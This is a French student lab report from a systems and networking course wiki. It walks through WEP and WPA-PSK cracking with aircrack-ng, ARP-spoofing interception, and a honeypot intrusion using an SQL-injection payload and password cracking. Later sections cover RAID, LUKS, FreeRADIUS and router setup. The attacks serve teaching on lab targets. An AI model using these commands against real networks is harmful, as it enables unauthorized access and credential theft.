Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles : &lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
On peut ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé (message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID. &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):&lt;br /&gt;
&lt;br /&gt;
 crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par force brute avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John the Ripper nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I_was_here_IMA_G8&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=Réalisations=&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions virtuelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 fdisk -l # on repère la clé USB&lt;br /&gt;
 fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/USB &lt;br /&gt;
 mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 umount /mnt/USB&lt;br /&gt;
 cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
==Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
===FreeRADIUS===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
On installe le paquet :&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :&lt;br /&gt;
&lt;br /&gt;
 client 10.60.100.10/24 {&lt;br /&gt;
 	shortname = Piedbleu&lt;br /&gt;
 	secret = pasglop&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
On ajoute un utilisateur FreeRADIUS &amp;quot;pifou&amp;quot; dans le fichier de configuration /etc/freeradius/3.0/users : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour finir, on configure l'authentification PEAP-MSCHAPv2.&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 eap{&lt;br /&gt;
 ...&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
 ...&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap : &lt;br /&gt;
&lt;br /&gt;
 use_mppe = yes&lt;br /&gt;
 require_encryption = yes&lt;br /&gt;
 require_strong = yes&lt;br /&gt;
 with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
===Point d'accès WiFi===&lt;br /&gt;
&lt;br /&gt;
Ensuite, on configure le point d'accès WiFi.&lt;br /&gt;
&lt;br /&gt;
 ssh root@10.60.100.10 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group8&lt;br /&gt;
 radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop&lt;br /&gt;
 aaa group server radius radius_group8&lt;br /&gt;
 server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 : &lt;br /&gt;
&lt;br /&gt;
 dot11 ssid Piedbleu&lt;br /&gt;
 vlan 308&lt;br /&gt;
 authentication open eap eap_group8&lt;br /&gt;
 authentication network-eap eap_group8&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption: &lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 encryption vlan 308 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid Piedbleu&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Encapsulation: &lt;br /&gt;
&lt;br /&gt;
 int dot11radio0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
 int Gi0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
En n'oubliant pas de démarrer l'interface  :&lt;br /&gt;
&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 no shutdown&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
Ping du point d'accès vers notre VM : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ping.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On observe notre SSID &amp;quot;Piedbleu&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ssid.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On s'y connecte avec notre téléphone tout en lançant la commande : &lt;br /&gt;
&lt;br /&gt;
 freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.1&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.99&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.150 10.60.108.255&lt;br /&gt;
 write&lt;br /&gt;
 exit&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
'''C9200'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.2&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.49&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.100 10.60.108.255&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 ip nat inside&lt;br /&gt;
&lt;br /&gt;
 access-list 108 permit ip 10.60.108.0 0.0.0.255 any&lt;br /&gt;
 ip nat inside source list 108 interface Loopback0 overload&lt;br /&gt;
&lt;br /&gt;
=Ferme de serveurs Web=&lt;br /&gt;
&lt;br /&gt;
==Architecture générale de la ferme==&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Capbreton===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau : &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',&lt;br /&gt;
         'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
On redémarre ensuite la VM.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre nouvelle interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.8 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Chassiron===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.22&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/resolv.conf : &lt;br /&gt;
&lt;br /&gt;
 domain plil.info&lt;br /&gt;
 nameserver 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/systcl.conf :&lt;br /&gt;
&lt;br /&gt;
 net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance les commandes : &lt;br /&gt;
&lt;br /&gt;
 apt install iptables-persistent&lt;br /&gt;
&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/conf/all/forwarding&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32&lt;br /&gt;
&lt;br /&gt;
Pour tester : &lt;br /&gt;
&lt;br /&gt;
 ping 192.168.42.22 #sur la VM capreton&lt;br /&gt;
 ping 192.168.42.8  #sur la VM chassiron&lt;br /&gt;
 ping 8.8.8.8       #sur la VM chassiron&lt;br /&gt;
 apt update         #sur la VM chassiron&lt;br /&gt;
&lt;br /&gt;
===Clés SSH===&lt;br /&gt;
&lt;br /&gt;
On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x &amp;quot;entrée&amp;quot;) : &lt;br /&gt;
&lt;br /&gt;
 ssh-keygen -b 2048&lt;br /&gt;
&lt;br /&gt;
Ensuite, on propage notre clé publique sur toutes les VM secondaires : &lt;br /&gt;
 &lt;br /&gt;
 for i in $(cat liste_ip.txt); do echo ssh-copy-id root@&amp;quot;$i&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.&lt;br /&gt;
&lt;br /&gt;
Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
dans le fichier /etc/ssh/sshd_config.&lt;br /&gt;
&lt;br /&gt;
===Installation d'Ansible ===&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle MOTD===&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine &lt;br /&gt;
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :&lt;br /&gt;
 fichier playbook.yml&lt;br /&gt;
&lt;br /&gt;
 Hosts : vmperso&lt;br /&gt;
 Roles:&lt;br /&gt;
       -{ role : adriagalin.motd }&lt;br /&gt;
&lt;br /&gt;
Nous exécutons ensuite notre playbook.yml :&lt;br /&gt;
 ansible-playbook playbook.yml&lt;br /&gt;
&lt;br /&gt;
Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle NTP===&lt;br /&gt;
&lt;br /&gt;
==Installation de Docker==&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est d’installer docker sur notre vm secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants, nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:play_docker.png || 600px ]]&lt;br /&gt;
&lt;br /&gt;
==Création du conteneur==&lt;br /&gt;
&lt;br /&gt;
==Configuration des serveurs internes==&lt;br /&gt;
&lt;br /&gt;
==Equilibreur de charge==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54895</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54895"/>
				<updated>2020-12-17T16:18:58Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* Installation de Docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Informations générales=&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6&lt;br /&gt;
|-&lt;br /&gt;
| https://www.piedbleu.site &lt;br /&gt;
| 193.48.57.181&lt;br /&gt;
| 100.64.0.21&lt;br /&gt;
| 308&lt;br /&gt;
| 10.60.108.0/24&lt;br /&gt;
| 10.60.108.1&lt;br /&gt;
| 10.60.108.2&lt;br /&gt;
| 10.60.108.254&lt;br /&gt;
| 2001:660:4401:60ba::0/64 &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
&lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
&lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=Interconnexion de VLAN=&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv4==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.  &lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons en ssh à partir de notre VM:&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
ensuite :&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 address-family ipv4&lt;br /&gt;
 address 10.60.108.254&lt;br /&gt;
 preempt &lt;br /&gt;
 vrrpv2&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte avec exit et on sauvegarde avec write.&lt;br /&gt;
&lt;br /&gt;
La commande show vlan nous affiche bien notre VLAN configuré.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 ip 10.60.108.254&lt;br /&gt;
 vrrp 48 preempt&lt;br /&gt;
 vrrp 48 priority 110&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv6==&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.1 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
